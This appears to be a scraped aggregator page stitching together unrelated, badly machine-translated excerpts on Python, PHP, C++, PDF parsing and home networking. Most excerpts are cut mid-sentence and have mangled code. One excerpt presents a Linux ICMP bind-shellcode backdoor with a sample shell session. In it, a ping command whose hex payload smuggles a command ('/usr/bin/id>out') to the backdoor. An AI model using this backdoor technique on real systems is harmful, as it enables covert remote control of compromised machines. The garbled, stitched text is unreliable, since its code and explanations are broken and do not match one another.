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Detailed Python uses Pdfminer to parse PDF instances

. ----------------Supplement-------------------- There is a need to note that when parsing some PDFs, the exception is reported: Pdfminer.pdfdocument.PDFEncryptionError:Unknown algorithm:param={' CF ': {' STDCF ': {' Length ': +, ' CFM ':/aesv2, ' authevent ':/docopen}}, ' O ': ' \xe4\xe74\xb86/\xa8 ' \xa6x\xe6\xa3/u\xdf\x0fwr\x9cph\xac\ xae\x88b\x06_\xb0\x93@\x9f\x8d ', ' Filter ':/standard, ' P ': -1340, ' Length ': +, ' R ': 4, ' U ': ' | Utx#f\xc9v\x18\x87z\

The core changes brought by the Python3.1 version

below: >>> TT = Bytes.maketrans (b ' 123 ', B ' 456 ') >>> len (TT) up >>> tt B ' \x00\ x01\x02\x03\x04\x05\x06\x07\x08\ t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\ x14\x15\x16\x17\x18\x19\x1a\ x1b\x1c\x1d\ x1e\x1f! " #$%\ ' () *+,-./0456456789:; After the conversion table is built, we simply pass it to the translate () function, as follows: B ' 456456 ' We can also pass other parameters as the characters to be removed: B ' 45646

XP advanced tips for adding a wireless Internet Camera

camera on an 802.11b network. In this way, as long as I have Internet access permissions and Internet Explorer, I can monitor real-time videos through cameras anytime, anywhere. At home, I can use any computer based on my own network system to monitor video and media streams from any room. The above devices can be applied to WEP technology specifically for security and confidentiality development, and avoid exposing themselves to potential confidentiality risks, or enable themselves to act) the

Linux ICMP backdoor code

There are some backdoors in many protocol applications. For example, the Linux ICMP backdoor we will introduce today. Next, let's take a detailed look at the specific content about the 137-byte remote ICMP backdoor in Linux. Use the Ping Control Program: /*x86 linux icmp bind shellcode (137 bytes) by gloomy@netric.org[example]main:/home/gloomy/security/shellcode/linux/icmp# ./icmpSize of shellcode = 137main:/home/gloomy/security/shellcode/linux/icmp# ping -p 992f7573722f62696e2f69643e6f7574 -c 1

Family Network standards and specifications for family building

sites. A connection point is required to coordinate the system for time-sensitive communication such as interactive speech. The connection point that provides network functions for the PSTN can be connected to the PC through a standard interface such as a universal serial bus that enhances voice and data services. SWAP can also use connection points to support power management by arranging device wake-up and polling times to prolong battery life. X10

Summary of home Integrated Wiring System experience

household devices, and make phone calls at the same time. The HomePNA specification is compatible with existing Internet access technologies. Its main applications include Internet access, data sharing and applications, as well as shared peripherals such as printers, scanners, modems, digital cameras, and storage devices. It can also play multiplayer games. C. power Line Carrier Technology: Power Line Carrier System Powerline Carrier Stystem) is a method for transmitting information through a 1

Analysis of C ++ Operators

The following describes a program of C ++ operators for operator overloading, so that it increases the variable by 10 instead of by 1. Operator overload is an advanced C ++ technology, in use, it will definitely bloat the eyes of many programmers. After reading this article, you will solve these problems. See the following table. Examples of common C ++ operators: + AddX=Y+ Z; -SubtractionX=Y-Z; * MultiplicationX=Y* Z; /DivisionX=Y/Z; Value assignment operator = Val

How to operate the C ++ Operator

){...} | Logic or if (x | 0xFF ){...} Equality Operators = Equal to if (X= 10 ){...} ! = Not equal to if (x! = 10 ){...} Less than if (x10){...} >Greater than if (x>10 ){...} = Less than or equal to if (x= 10 ){...} >= Greater than or equal to if (x>= 10 ){...} Unary operator * Indirect operator intX= * Y; Address operator int *X= Y; ~ Non-x ~ 0x02; ! The logic is not if (! Valid ){..

Python uses consumer miner to parse PDF code instances.

-------------------- Note that when parsing PDF files, the following error occurs: Invalid minerpolicdocument. PDFEncryptionError: Unknown algorithm: param = {'cf ': {'stdcf': {'length': 16, 'cfm':/AESV2, 'authevent':/DocOpen }}, 'o': '\ xe4 \ xe74 \ xb86/\ xa8) \ xa6x \ xe6 \ xa3/U \ xdf \ x0fWR \ x9cPh \ xac \ xae \ x88B \ x06 _ \ xb0 \ x93 @ \ x9f \ x8d ', 'filter ': /Standard, 'P':-1340, 'length': 128, 'r': 4, 'U ': '| UTX # f \ xc9V \ x18 \ x87z \ x10

Basic python tutorial _ Study Note 5: String

replace. Before using the translate conversion function, you must complete a conversion table. The conversion table replaces the correspondence between a character and a character. Because this table (actually a string) has up to 256 Items, you can directly use the maketrans function in the string module. The maketrans function accepts two parameters: two equal-length strings, indicating that each character in the first string is replaced by a character in the same position in the second stri

Use the BIOS and write the graphics directly to draw the image

1. Draw a pixel [cpp] view plaincopyprint? Unrecognized INT 0x10 recognizable video image mode ---------------------------------------------------------------------- mode resolution (column * Row, pixel) color count 6 640x200 2 0DH 320x200 16 0EH 640x350 16 0FH 640x350 2 10 H 640x200 16 11 H 640x480 2 12 H 640x480 16 13 H 320x200 256 6AH 800x600 16 ----------------------------------------------------------------------- when the Video Controller is in graphic mode, INT 0 The

Analysis of softswitch network numbers

softswitch user and then is connected to the softswitch network. Even multimedia users may experience Softswitch over the PSTN network, which is not suitable for the development of multimedia services.Therefore, according to the needs of multimedia business development, the use of local numbers in multimedia terminals is flawed.2. Use the network number(1) number StructureThe network number is used to assign a network number to a Softswitch-based network. According to the "IP Phone Number" stan

Php character escape considerations

("\ n ");Output result:----------------------8102 102 102 102 102 102 102Octal ascii code example: // Note that the string that matches the regular \ [0-7] {} represents an octal ascii code.$ Str = "\ 0 \ 01 \ 02 \ 3 \ 7 \ 10 \ 011 \ 08 \ 8"; // The \ 8 here does not meet the requirements, corrected to "\ 8" (ascii: 92 and 56)Echo (strlen ($ str ));Echo ("\ n ");For ($ I = 0; $ I Echo ("\ n ");Output result:----------------------110 1 2 3 7 8 9 0 56 92 56Hexadecimal ascii code example:$ Str = "

HDU 3584 Cube (three-dimensional tree-like array)

CubeTime limit:2000/1000 MS (java/others) Memory limit:131072/65536 K (java/others)Total submission (s): 1660 Accepted Submission (s): 865Problem Descriptiongiven an n*n*n cube A, whose elements is either 0 or 1. A[i, J, K] means the number in the I-th row, j-th column and k-th layer. Initially we have A[i, J, K] = 0 (1 We define operations, 1: ' Not ' operation that we change the A[i, J, k]=! A[i, J, K]. That's means we change A[i, J, K] from 0->1,or 1->0. (

Use BSon to convert data records to binary

part, e_name must be further uniquely interpreted as cstring, that is, the type of the key value. The cstring must also be uniquely interpreted as (byte *) and "\ x00 ". (Byte *) indicates that the key value itself is stored, that is, "Name" (this does not include double quotation marks ""). The "\ x00" is the same as the previous one, indicating the end of this part of interpretation. String must be uniquely interpreted as int32, (byte *), and "\ x00. Let's take a look at these three parts. Fi

Python's BitArray library test:

#-*-coding:utf-8-*-importsysimporttimeimporttimefromcollections importnamedtuplet=[ ("U32", "N1"), #格式, variable name ("U6", "N2"), ("U4", "N3"), ( "U3", "N4"), ("U3", "N5"), ("U16", "N6"), ("U7", "N7"), ("U3", "N8"), ("U6", "N9"),]importbitarraytmp_bytes= b "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x10" A=bitarray.bitarray (endian= ' little ') a.frombytes ( tmp_bytes) pos=0importrenum_re=re.compile ("\d+") begin= Time.time () Foriinrange (10000):resu

How to input them cyclically? let's take a look at the php Tutorial.

How to input cyclically? let me see PHPcodefunctionpage ($ x) {$ a $ x10; $ B $ x % 10; if ($ x lt; 10) {return1 ;;} if ($ b0) {return $ X-2;} else {return $ x-$ B;} lt ;? Php $ apage PHP code Function page ($ x) {$ a = $ x/10; $ B = $ x % 10; if ($ x The current output format is 1 2 3 4 5 6 7 8 9 10 I want to output it like this 1234 Please help me change the above code. thank you. ------ Solution ---------------

PHP and MySQL Programming chapter III Essays--(2)

Chapter Three Basics of PHP (3.6--3.11) 3.6 variables Variable declaration Variable assignment: Assign value by value/reference assignment Variable scope: Local variable: A variable declared in a function that can only be referenced in a function Function arguments: Any function that accepts parameters must declare them at the first part of the functions. Although these parameters accept values outside the function, they are no longer accessible after exiting the functionParameter instance //

How to filter characters in php

); Echo (strlen ($ str )); Echo ("\ n "); For ($ I = 0; $ I Echo ("\ n "); Output result: ---------------------- 8 102 102 102 102 102 102 102 Octal ascii code example: // Note that the string that matches the regular \ [0-7] {} represents an octal ascii code. $ Str = "\ 0 \ 01 \ 02 \ 3 \ 7 \ 10 \ 011 \ 08 \ 8"; // The \ 8 here does not meet the requirements, corrected to "\ 8" (ascii: 92 and 56) Echo (strlen ($ str )); Echo ("\ n "); For ($ I = 0; $ I Echo ("\ n "); Output result: ---------

Python advanced: advanced functions

this function has side effects. One feature of functional programming is that you can pass the function itself as a parameter to another function and return a function! Python provides partial support for functional programming. Because Python allows variables, Python is not a pure functional programming language. High-order functions The English name of a Higher-order function is her-order function. What is a high-level function? Let's take the actual code as an example and go into the concept

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